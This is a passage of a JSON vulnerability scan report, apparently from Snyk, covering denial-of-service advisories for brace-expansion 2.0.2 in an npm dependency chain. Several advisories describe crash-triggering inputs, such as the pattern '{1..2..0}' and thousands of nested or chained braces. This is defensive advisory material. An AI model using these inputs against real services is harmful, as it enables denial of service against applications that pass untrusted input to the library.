"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
